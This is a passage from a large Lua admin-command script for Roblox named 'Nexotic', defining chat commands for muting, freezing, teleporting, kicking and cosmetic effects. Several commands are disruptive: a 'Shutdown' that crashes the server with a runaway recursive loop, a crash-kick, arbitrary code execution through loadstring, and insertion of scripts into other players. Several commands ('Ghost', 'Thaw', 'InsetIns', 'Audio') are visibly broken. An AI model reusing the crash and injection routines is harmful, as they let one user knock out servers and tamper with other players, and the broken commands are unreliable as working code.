  9471.                 NewLS(Mini, v.Backpack, v.Character, v.PlayerGui)
  9472.                 Ping("Minied "..v.Name, Speaker, 5)
  9473.             end)
  9474.         end
  9475.     end
  9476. end)
  9477.  
  9478. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  9479.     local PlrTab = getPlayer(Speaker, Msg)
  9480.     if #PlrTab > 0 then
  9481.         for _,v in pairs(PlrTab) do
  9482.             ypcall(function()
  9483.                 NewLS(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  9484.                 Ping("UnMuted "..v.Name, Speaker, 5)
  9485.             end)
  9486.         end
  9487.     end
  9488. end)
  9489.  
  9490. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  9491.     local Worked = false
  9492.     for _,v in pairs(Work:GetChildren()) do
  9493.         if string.find(v.Name:lower(), Msg:lower()) then
  9494.             if v:IsA("Script") or v:IsA("LocalScript") then
  9495.                 v.Disabled = true
  9496.                 v:Destroy()
  9497.                 Worked = true
  9498.                 Ping("Disabled Script: "..v.Name, Speaker, 5)
  9499.             end
  9500.         end
  9501.     end
  9502.     if Worked == false then
  9503.         Ping("Script Not Found", Speaker, 5)
  9504.     end
  9505. end)
  9506.  
  9507. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  9508.     Dismiss(Speaker)
  9509.     local AllScripts = {}
  9510.     for _,v in pairs(Work:GetChildren()) do
  9511.         if v:IsA("Script") then
  9512.             table.insert(AllScripts, v.Name)
  9513.         end
  9514.     end
  9515.     if #AllScripts > 0 then
  9516.         for _,v in pairs(AllScripts) do
  9517.             Ping(v, Speaker)
  9518.         end
  9519.     else
  9520.         Ping("No Scripts Found", Speaker, 5)
  9521.     end
  9522. end)
  9523.  
  9524. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  9525.     Dismiss(Speaker)
  9526.     local LocalScripts = {}
  9527.     for _,v in pairs(All()) do
  9528.         ypcall(function()
  9529.             for _,x in pairs(v.Character:GetChildren()) do
  9530.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  9531.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  9532.                 end
  9533.             end
  9534.         end)
  9535.         ypcall(function()
  9536.             for _,x in pairs(v.Backpack:GetChildren()) do
  9537.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  9538.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  9539.                 end
  9540.             end
  9541.         end)
  9542.         ypcall(function()
  9543.             for _,x in pairs(v.PlayerGui:GetChildren()) do
  9544.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  9545.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  9546.                 end
  9547.             end
  9548.         end)
  9549.     end
  9550.     if #LocalScripts > 0 then
  9551.         for _,v in pairs(LocalScripts) do
  9552.             Ping(v, Speaker)
  9553.         end
  9554.     else
  9555.         Ping("No Local Scripts Found", Speaker, 5)
  9556.     end
  9557. end)
  9558.  
  9559. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  9560.     local Split = GetSplit(Msg)
  9561.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  9562.     local ScriptName = Msg:sub(Split + 1)
  9563.     local FoundLocal = false
  9564.     for _,name in pairs(PlrTab) do
  9565.         ypcall(function()
  9566.             for _,v in pairs(name.Character:GetChildren()) do
  9567.                 if string.find(v.Name:lower(), ScriptName) then
  9568.                     if v:IsA("Script") or v:IsA("LocalScript") then
  9569.                         v.Disabled = true
  9570.                         v:Destroy()
  9571.                         FoundLocal = true
  9572.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  9573.                     end
  9574.                 end
  9575.             end
  9576.         end)
  9577.         ypcall(function()
  9578.             for _,v in pairs(name.Backpack:GetChildren()) do
  9579.                 if string.find(v.Name:lower(), ScriptName) then
  9580.                     if v:IsA("Script") or v:IsA("LocalScript") then
  9581.                         v.Disabled = true
  9582.                         v:Destroy()
  9583.                         FoundLocal = true
  9584.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  9585.                     end
  9586.                 end
  9587.             end
  9588.         end)
  9589.         ypcall(function()
  9590.             for _,v in pairs(name.PlayerGui:GetChildren()) do
  9591.                 if string.find(v.Name:lower(), ScriptName) then
  9592.                     if v:IsA("Script") or v:IsA("LocalScript") then
  9593.                         v.Disabled = true
  9594.                         v:Destroy()
  9595.                         FoundLocal = true
  9596.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  9597.                     end
  9598.                 end
  9599.             end
  9600.         end)
  9601.         if FoundLocal == false then
  9602.             Ping("Local Script Not Found", Speaker, 5)
  9603.         end
  9604.     end
  9605. end)
  9606.  
  9607. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  9608.     LClean()
  9609.     Fixl()
  9610.     Ping("Lightly Cleaned the Server", Speaker, 5)
  9611. end)
  9612.  
  9613. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  9614.     local PlrTab = getPlayer(Speaker, Msg)
  9615.     if #PlrTab > 0 then
  9616.         for _,v in pairs(PlrTab) do
  9617.             ypcall(function()
  9618.                 v:LoadCharacter()
  9619.                 Ping("Reset "..v.Name, Speaker, 5)
  9620.             end)
  9621.         end
  9622.     end
  9623. end)
  9624.  
  9625. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  9626.     repeat wait() until Speaker.Character:findFirstChild("Torso")
  9627.     if Work:findFirstChild("Base") then
  9628.         Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  9629.     else
  9630.         Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  9631.     end
  9632.     Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  9633. end)
  9634.  
  9635. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  9636.     local PlrTab = getPlayer(Speaker, Msg)
  9637.     if #PlrTab > 0 then
  9638.         for _,v in pairs(PlrTab) do
  9639.             ypcall(function()
  9640.                 v.Character.Torso.Anchored = true
  9641.                 Ping("Froze "..v.Name, Speaker, 5)
  9642.             end)
  9643.         end
  9644.     end
  9645. end)
  9646.  
  9647. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  9648.     local PlrTab = getPlayer(Speaker, Msg)
  9649.     if #PlrTab > 0 then
  9650.         for _,v in pairs(PlrTab) do
  9651.             ypcall(function()
  9652.                 for _,v2 in pairs(v.Character:GetChildren()) do
  9653.                     ypcall(function()
  9654.                         v.Anchored = false
  9655.                     end)
  9656.                 end
  9657.                 Ping("Thawed "..v.Name, Speaker, 5)
  9658.             end)
  9659.         end
  9660.     end
  9661. end)
  9662.  
  9663. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  9664.     local PlrTab = getPlayer(Speaker, Msg)
  9665.     if #PlrTab > 0 then
  9666.         for _,v in pairs(PlrTab) do
  9667.             ypcall(function()
  9668.                 Instance.new("ForceField", v.Character)
  9669.             end)
  9670.         end
  9671.     end
  9672. end)
  9673.  
  9674. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  9675.     local PlrTab = getPlayer(Speaker, Msg)
  9676.     if #PlrTab > 0 then
  9677.         for _,v in pairs(PlrTab) do
  9678.             ypcall(function()
  9679.                 RemObj(v.Character, "ForceField")
  9680.             end)
  9681.         end
  9682.     end
  9683. end)
  9684.  
  9685. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  9686.     local Split = GetSplit(Msg)
  9687.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  9688.     local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  9689.     if #PlrTab > 0 and #PlrTab2 > 0 then
  9690.         for i,v in pairs(PlrTab) do
  9691.             ypcall(function()
  9692.                 for _,v2 in pairs(PlrTab2) do
  9693.                     ypcall(function()
  9694.                         v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  9695.                         Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  9696.                     end)
  9697.                 end
  9698.             end)
  9699.         end
  9700.     end
  9701. end)
  9702.  
  9703. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  9704.     MakeExplorer(Speaker)
  9705. end)
  9706.  
  9707. Command("Info", 0, "Shows Information About Nexotic", function(Msg, Speaker)
  9708.     wait()
  9709.     Dismiss(Speaker)
  9710.     Ping("Admin Name: Nexotic", Speaker)
  9711. Ping("Nexotic, By: AcidicEmpyreus", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=AcidicEmpyreus")
  9712.     Ping("Nexotic, By: missoncompleted", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=missoncompleted")
  9713.     Ping("Credit To: MasterKelvinVIP", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP")
  9714.     Ping("Credit To: moderrncombat", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=moderrncombat")
  9715.     Ping("Credit To: flipflop8421", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=flipflop8421")
  9716.     Ping("Created on: 8/7/2014", Speaker)
  9717.     Ping("ShowGarbage", Speaker)
  9718. end)
  9719.  
  9720. Command("Credit", 0, "Shows Credits on Nexotic", function(Msg, Speaker)
  9721.     wait()
  9722.     Dismiss(Speaker)
  9723.     Ping("Created by: AcidicEmpyreus", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=AcidicEmpyreus")
  9724.     Ping("Created by: missoncompleted", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=missoncompleted")
  9725.     Ping("Credit To: MasterKelvinVIP", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP")
  9726.     Ping("Credit To: moderrncombat", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=moderrncombat")
  9727.     Ping("Credit To: flipflop8421", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=flipflop8421")
  9728. end)
  9729.  
  9730. Command("Ranked", 0, "Shows All Player Ranks", function(Msg, Speaker)
  9731.     Dismiss(Speaker)
  9732.     for i,v in pairs(All()) do
  9733.         Ping(v.Name.."'s Rank: "..FindRank(v))
  9734.     end
  9735. end)
  9736.  
  9737. Command("Speed", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  9738.     local Split = GetSplit(Msg)
  9739.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  9740.     local Speed = tonumber(Msg:sub(Split + 1))
  9741.     for _,v in pairs(PlrTab) do
  9742.         ypcall(function()
  9743.             v.Character.Humanoid.WalkSpeed = Speed
  9744.             Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  9745.         end)
  9746.     end
  9747. end)
  9748.  
  9749. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  9750.     Dismiss(Speaker)
  9751.     for i,v in pairs(Injected) do
  9752.         Ping(i, Speaker)
  9753.     end
  9754. end)
  9755.  
  9756. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  9757.     local function BufferOverflow(object)
  9758.         object.DescendantAdded:connect(BufferOverflow)
  9759.         Instance.new("IntValue", object)
  9760.     end
  9761.     BufferOverflow(Game)
  9762. end)
  9763.  
  9764. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  9765.     local PlrTab = getPlayer(Speaker, Msg)
  9766.     if #PlrTab > 0 then
  9767.         for _,v in pairs(PlrTab) do
  9768.             ypcall(function()
  9769.                 Crash1(v)
  9770.                 Ping("Crash Kicked "..v.Name, Speaker, 5)
  9771.             end)
  9772.         end
  9773.     end
  9774. end)
  9775.  
  9776. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  9777.     local PlrTab = getPlayer(Speaker, Msg)
  9778.     if #PlrTab > 0 then
  9779.         for _,v in pairs(PlrTab) do
  9780.             ypcall(function()
  9781.                 ChangeRank(v, -1)
  9782.             end)
  9783.         end
  9784.     end
  9785. end)
  9786.  
  9787. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  9788.     ypcall(function()
  9789.         local PlrTab = getPlayer(Speaker, Msg)
  9790.         if #PlrTab > 0 then
  9791.             for _,v in pairs(PlrTab) do
  9792.                 ypcall(function()
  9793.                     NewLS(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  9794.                 end)
  9795.             end
  9796.         end
  9797.         local PlrName = ChangeRank(Msg, 0)
  9798.         Ping("Un-Banned "..PlrName, Speaker, 5)
  9799.     end)
  9800. end)
  9801.  
  9802. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  9803.     Dismiss(Speaker)
  9804.     Ping("Commands", Speaker, nil, function()
  9805.         Dismiss(Speaker.Name)
  9806.         Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  9807.         Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  9808.         Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  9809.         Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  9810.         Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  9811.         Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  9812.         Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  9813.         Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  9814.     end)
  9815.     Ping("Players", Speaker, nil, function()
  9816.         ListPlayers(Speaker)
  9817.     end)
  9818. end)
  9819.  
  9820. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  9821.     ListPlayers(Speaker)
  9822. end)
  9823.  
  9824. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  9825.     local Func,Error = loadstring(Msg)
  9826.     getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  9827.     getfenv(Func).Speaker = Speaker
  9828.     if Error == nil then
  9829.         coroutine.wrap(function()
  9830.             Func()
  9831.         end)()
  9832.         Ping("Executed Script!", Speaker, 5)
  9833.     else
  9834.         Ping(Error, Speaker, 10)
  9835.     end
  9836. end)
  9837.  
  9838. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  9839.     if LS ~= nil then
  9840.         local Split = GetSplit(Msg)
  9841.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  9842.         local LocalSource = Msg:sub(Split + 1)
  9843.         if #PlrTab > 0 then
  9844.             for _,v in pairs(PlrTab) do
  9845.                 local Inserted = LS:Clone()
  9846.                 Inserted.Disabled = true
  9847.                 Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  9848.                 if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  9849.                     Inserted:findFirstChild(OwnSource).Value = v.Name
  9850.                 end
  9851.                 Inserted[LSSource].Value = LocalSource
  9852.                 Inserted.Disabled = false
  9853.             end
  9854.         end
  9855.     else
  9856.         Ping("ERROR: Local Script Not Found", Speaker, 5)
  9857.     end
  9858. end)
  9859.  
  9860. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  9861.     Msg = tostring(Msg)
  9862.     Ping(Msg, Speaker)
  9863. end)
  9864.  
  9865. Command("Remv", 5, "Removes The Admin", function(Msg, Speaker)
  9866.     Dismiss()
  9867.     Removed = true
  9868.     for i,v in pairs(getfenv(1)) do
  9869.         getfenv(1)[i] = nil
  9870.     end
  9871.     script.Disabled = true
  9872. end)
  9873.  
  9874. Command("God", 1, "Makes a player immortal", function(Msg, Speaker)
  9875.     local PlrTab = getPlayer(Speaker, Msg)
  9876.     if #PlrTab > 0 then
  9877.         for _,v in pairs(PlrTab) do
  9878.             ypcall(function()
  9879.                 v.Character.Humanoid.MaxHealth = math.huge
  9880.                 Ping("Godded "..v.Name, Speaker, 5)
  9881.             end)
  9882.         end
  9883.     end
  9884. end)
  9885.  
  9886. Command("Ungod", 1, "Makes a player mortal", function(Msg, Speaker)
  9887.     local PlrTab = getPlayer(Speaker, Msg)
  9888.     if #PlrTab > 0 then
  9889.         for _,v in pairs(PlrTab) do
  9890.             ypcall(function()
  9891.                 v.Character.Humanoid.Health = 100
  9892.                 wait()
  9893.                 v.Character.Humanoid.MaxHealth = 100
  9894.                 Ping("Ungodded "..v.Name, Speaker, 5)
  9895.             end)
  9896.         end
  9897.     end
  9898. end)
  9899.  
  9900. Command("FC", 3, "Fully Cleans The Server", function(Msg, Speaker)
  9901.     for _,v in pairs(game:GetChildren()) do
  9902.         ypcall(function()
  9903.             if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  9904.                 for _,a in pairs(v:GetChildren()) do
  9905.                     ypcall(function()
  9906.                         a:Destroy()
  9907.                     end)
  9908.                 end
  9909.             elseif v.Name == "Players" then
  9910.                 for _,plr in pairs(v:GetPlayers()) do
  9911.                     Clear(plr)
  9912.                 end
  9913.             end
  9914.         end)
  9915.     end
  9916.     Clean()
  9917.     Fixl()
  9918.     Ping("Fully Cleaned", Speaker, 5)
  9919. end)
  9920.  
  9921. Command("NoOrb",2,"Get rid of a players Gui oS ORB",function(Msg,Speaker)
  9922.     for i,v in pairs(getPlayer(Speaker,Msg)) do
  9923.        
  9924.     v.PlayerGui.Name='GuiPlayer'
  9925.     wait()
  9926.     v.GuiPlayer.Name='PlayerGui'
  9927.     v:LoadCharacter()
  9928.     Ping(v.Name.."'s GUI Orb destroyed",Speaker,5)
  9929.     end
  9930. end)
  9931.  
  9932. Command("Ghost", 2, "Ghostifys a player", function(Msg, Speaker)
  9933.     local PlrTab = getPlayer(Speaker, Msg)
  9934.     if #PlrTab > 0 then
  9935.         for _,c in pairs(PlrTab) do
  9936.             ypcall(function()
  9937.                 for c, pairs in (v.Character:children()) do
  9938.                     if c:IsA("Part") then
  9939.                         c.Transparency = 0.5
  9940.                     end
  9941.                 end
  9942.                 Ping("Turned "..v.Name.." into a ghost", Speaker, 5)
  9943.             end)
  9944.         end
  9945.     end
  9946. end)
  9947.  
  9948. Command("Invisible", 3, "Makes a player invisible", function(Msg, Speaker)
  9949.     local PlrTab = getPlayer(Speaker, Msg)
  9950.     if #PlrTab > 0 then
  9951.         for _,v in pairs(PlrTab) do
  9952.             ypcall(function()
  9953.                 for _, c in pairs(v.Character:children()) do
  9954.                     if c:IsA("Part") then
  9955.                         c.Transparency = 1
  9956.  
  9957.                     end
  9958.                 end
  9959.                
  9960.                 Ping("Disappeared "..v.Name, Speaker, 5)
  9961.             end)
  9962.         end
  9963.     end
  9964. end)
  9965.  
  9966. Command("Visible", 3, "Makes a player visible", function(Msg, Speaker)
  9967.     local PlrTab = getPlayer(Speaker, Msg)
  9968.     if #PlrTab > 0 then
  9969.         for _,v in pairs(PlrTab) do
  9970.             ypcall(function()
  9971.                 for _,c in pairs(v.Character:children()) do
  9972.                     if c:IsA("Part") then
  9973.                         c.Transparency = 0
  9974.                     end
  9975.                 end
  9976.                 Ping("Showed "..v.Name, Speaker, 5)
  9977.             end)
  9978.         end
  9979.     end
  9980. end)
  9981.  
  9982. Command("Explode", 3, "Explodes a player", function(Msg, Speaker)
  9983.     local PlrTab = getPlayer(Speaker, Msg)
  9984.     if #PlrTab > 0 then
  9985.         for _,v in pairs(PlrTab) do
  9986.             ypcall(function()
  9987.                if v.Character and v.Character:findFirstChild("Head") then
  9988.                        local e = Instance.new("Explosion")
  9989.                        e.Position = v.Character.Head.Position
  9990.                        e.Parent = v.Character
  9991.                 Ping("Exploded "..v.Name, Speaker, 5)
  9992.                 end
  9993.             end)
  9994.         end
  9995.     end
  9996. end)
  9997.  
  9998. Command("Spark", 3, "Gives a player sparkles", function(Msg, Speaker)
  9999.     local PlrTab = getPlayer(Speaker, Msg)
  10000.     if #PlrTab > 0 then
  10001.         for _,v in pairs(PlrTab) do
  10002.             ypcall(function()
  10003.                 Instance.new("Sparkles", v.Character.Torso)
  10004.             end)
  10005.         end
  10006.     end
  10007. end)
  10008.  
  10009. Command("Fire", 3, "Gives a player fires", function(Msg, Speaker)
  10010.     local PlrTab = getPlayer(Speaker, Msg)
  10011.     if #PlrTab > 0 then
  10012.         for _,v in pairs(PlrTab) do
  10013.             ypcall(function()
  10014.                 Instance.new("Fire", v.Character.Torso)
  10015.             end)
  10016.         end
  10017.     end
  10018. end)
  10019.  
  10020. Command("Clone", 3, "Clones a player", function(Msg, Speaker)
  10021.     local PlrTab = getPlayer(Speaker, Msg)
  10022.     if #PlrTab > 0 then
  10023.         for _,v in pairs(PlrTab) do
  10024.             ypcall(function()
  10025.                 local Model = v.Character:Clone()
  10026.                 Model.Parent = game.Workspace
  10027.             end)
  10028.         end
  10029.     end
  10030. end)
  10031.  
  10032. Command("Bet", 1, "Shows current bet", function(Msg, Speaker)
  10033.     Bet = (tostring(Msg))
  10034.     Output("The current bet is '"..Bet.. "'", nil, nil)
  10035. end)
  10036.  
  10037. Command("Unspark", 3, "Removes a player's sparkles", function(Msg, Speaker)
  10038.     local PlrTab = getPlayer(Speaker, Msg)
  10039.     if #PlrTab > 0 then
  10040.         for _,v in pairs(PlrTab) do
  10041.             ypcall(function()
  10042.                 RemObj(v.Character.Torso, "Sparkles")
  10043.             end)
  10044.         end
  10045.     end
  10046. end)
  10047.  
  10048. Command("Unfire", 3, "Removes a player's fire", function(Msg, Speaker)
  10049.     local PlrTab = getPlayer(Speaker, Msg)
  10050.     if #PlrTab > 0 then
  10051.         for _,v in pairs(PlrTab) do
  10052.             ypcall(function()
  10053.                 RemObj(v.Character.Torso, "Fire")
  10054.             end)
  10055.         end
  10056.     end
  10057. end)
  10058.  
  10059. Command("Unsmoke", 3, "Removes a player's smoke", function(Msg, Speaker)
  10060.     local PlrTab = getPlayer(Speaker, Msg)
  10061.     if #PlrTab > 0 then
  10062.         for _,v in pairs(PlrTab) do
  10063.             ypcall(function()
  10064.                 RemObj(v.Character.Torso, "Smoke")
  10065.             end)
  10066.         end
  10067.     end
  10068. end)
  10069.  
  10070. Command("Speak", 3, "Talk for a player", function(Msg, Speaker)
  10071.     local Split = GetSplit(Msg)
  10072.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  10073.     local Msg = tostring(Msg:sub(Split + 1))
  10074.     for _,v in pairs(PlrTab) do
  10075.         ypcall(function()
  10076.             game:GetService("Chat"):Chat(v.Character.Head,Msg,0)
  10077.             Ping("Made "..v.Name.." say "..tostring(Msg), Speaker)
  10078.         end)
  10079.     end
  10080. end)
  10081.  
  10082. Command("Char", 3, "Changes a player's appearance", function(Msg, Speaker)
  10083.     local Split = GetSplit(Msg)
  10084.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  10085.     local Id = tonumber(Msg:sub(Split + 1))
  10086.     for _,v in pairs(PlrTab) do
  10087.         ypcall(function()
  10088.             v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" ..tonumber(Id)
  10089.             v:LoadCharacter()
  10090.             Ping("Changed "..v.Name.."'s appearance to "..tonumber(Id), Speaker)
  10091.         end)
  10092.     end
  10093. end)
  10094.  
  10095. Command("Name", 3, "Changes a player's name", function(Msg, Speaker)
  10096.     local Split = GetSplit(Msg)
  10097.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  10098.     local Name = tostring(Msg:sub(Split + 1))
  10099.     for _,v in pairs(PlrTab) do
  10100.         ypcall(function()
  10101.             coroutine.resume(coroutine.create(function()
  10102.             if v and v.Character and v.Character:findFirstChild("Head") then
  10103.             for a, derp in pairs(v.Character:children()) do
  10104.             if derp:findFirstChild("NameTag") then
  10105.             v.Character.Head.Transparency = 0
  10106.             derp:Destroy()
  10107.             end
  10108.             end
  10109.             local char = v.Character
  10110.             local derp = Instance.new("Model", char)
  10111.             derp.Name = tostring(Name)
  10112.             local cl = char.Head:Clone()
  10113.             cl.Parent = derp
  10114.             local hum = Instance.new("Humanoid", derp)
  10115.             hum.Name = "NameTag"
  10116.             hum.MaxHealth = 0
  10117.             hum.Health = 0
  10118.             local weld = Instance.new("Weld", cl)
  10119.             weld.Part0 = cl
  10120.             weld.Part1 = char.Head
  10121.             char.Head.Transparency = 1
  10122.             Ping("Changed "..v.Name.."'s name to "..tostring(Name), Speaker)
  10123.             end
  10124.             end))
  10125.         end)
  10126.     end
  10127. end)
  10128.  
  10129. Command("Unname", 3, "Changes a player's name", function(Msg, Speaker)
  10130.     local PlrTab = getPlayer(Speaker, Msg)
  10131.     for _,v in pairs(PlrTab) do
  10132.         ypcall(function()
  10133.             coroutine.resume(coroutine.create(function()
  10134.             if v and v.Character and v.Character:findFirstChild("Head") then
  10135.             for a, derp in pairs(v.Character:children()) do
  10136.             if derp:findFirstChild("NameTag") then
  10137.             v.Character.Head.Transparency = 0
  10138.             derp:Destroy()
  10139.             end
  10140.             end
  10141.             end
  10142.             end))
  10143.             Ping("Removed "..v.Name.."'s Name", Speaker)
  10144.         end)
  10145.     end
  10146. end)
  10147.  
  10148. Command("InsetIns", 7, "Inserts a instance into a object in the game", function(Msg, Speaker)
  10149.     local Split = GetSplit(Msg)
  10150.     local Parent = tostring(Msg:sub(Split - 1))
  10151.     local Object = tostring(Msg:sub(Split + 1))
  10152.     for _,v in pairs(Parent) do
  10153.         ypcall(function()
  10154.             Instance.new(Object, Parent)
  10155.         end)
  10156.     end
  10157. end)
  10158.  
  10159. Command("RemIns", 7, "Removes an instance from the game", function(Msg, Speaker)
  10160.     local Split = GetSplit(Msg)
  10161.     local Parent = tostring(Msg:sub(Split - 1))
  10162.     local Object = tostring(Msg:sub(Split + 1))
  10163.     for _,v in pairs(Parent) do
  10164.         ypcall(function()
  10165.             game[Parent].Object:Remove()
  10166.         end)
  10167.     end
  10168. end)
  10169.  
  10170. Command("Damage", 1, "Damages a player", function(Msg, Speaker)
  10171.     local Split = GetSplit(Msg)
  10172.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  10173.     local Dmg = tonumber(Msg:sub(Split + 1))
  10174.     for _,v in pairs(PlrTab) do
  10175.         ypcall(function()
  10176.             v.Character.Humanoid.Health = v.Character.Humanoid.Health - Dmg
  10177.             Ping("Damaged "..v.Name.."'s health by "..tostring(Dmg), Speaker)
  10178.         end)
  10179.     end
  10180. end)
  10181.  
  10182. Command("Heal", 1, "Heals a player", function(Msg, Speaker)
  10183. local PlrTab = getPlayer(Speaker, Msg)
  10184.     for _,v in pairs(PlrTab) do
  10185.         ypcall(function()
  10186.             v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  10187.             Ping("Healed "..v.Name.." from injuries"..tostring(Dmg), Speaker)
  10188.         end)
  10189.     end
  10190. end)
  10191.  
  10192. Command("SetHealth", 1, "Sets a players health", function(Msg, Speaker)
  10193.     local Split = GetSplit(Msg)
  10194.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  10195.     local Hp = tonumber(Msg:sub(Split + 1))
  10196.     for _,v in pairs(PlrTab) do
  10197.         ypcall(function()
  10198.             v.Character.Humanoid.Health = v.Character.Humanoid.Health + Hp
  10199.             Ping("Added health to "..v.Name.."'s health by "..tostring(Hp), Speaker)
  10200.         end)
  10201.     end
  10202. end)
  10203.  
  10204. Command("Hs", 7, "Turns HttpService on/off", function(Msg, Speaker)
  10205.             if Msg == "on" then
  10206.                 game:GetService("HttpService").HttpEnabled = true
  10207.                 Ping("HttpService is on", Speaker, 5)
  10208.             elseif Msg == "off" then
  10209.                 game:GetService("HttpService").HttpEnabled = false
  10210.                 Ping("HttpService is off", Speaker, 5)
  10211.         end
  10212. end)
  10213.  
  10214. Command("Kick", 4, "Crash kicks a player from the server", function(Msg, Speaker)
  10215.     local PlrTab = getPlayer(Speaker, Msg)
  10216.     if #PlrTab > 0 then
  10217.         for _,v in pairs(PlrTab) do
  10218.             ypcall(function()
  10219.                 v:Kick()
  10220.                 Ping("Killer Kicked "..v.Name, Speaker, 5)
  10221.             end)
  10222.         end
  10223.     end
  10224. end)
  10225.  
  10226. Command("Audio", 4, "Opens Music List", function(Msg, Speaker)
  10227.     local PlrTab = getPlayer(Speaker, Msg)
  10228.     if #PlrTab > 0 then
  10229.     Dismiss()
  10230.         Menu()
  10231.                     Ping('Music '..v.Name,Speaker,5)
  10232.             NewLS([==[
  10233.                 function Menu()
  10234. Dismiss()
  10235.         Output("Commands","Cyan",function() ShowCmds() end)
  10236.         Nexotic("Explorer","Lime green",function() Explore() end)
  10237.         Nexotic("Players","New Yeller",function() ListPlayers() end)
  10238.         Nexotic("Shutdown","Deep blue",function() AreYouSure() end)
  10239.         Nexotic("MusicList","Black",function() MusicList() end)
  10240. end
  10241. function MusicList()
  10242. Dismiss()
  10243.         Sax("Epic Sax Guy", "Deep orange",function() EpicSaxMusic() Menu() end)
  10244.         Taco("Its Raining Tacos","White",function() TacoMusic() Menu() end)
  10245.         Nexotic("Guitar", "Deep orange",function() GuitarMusic() Menu() end)
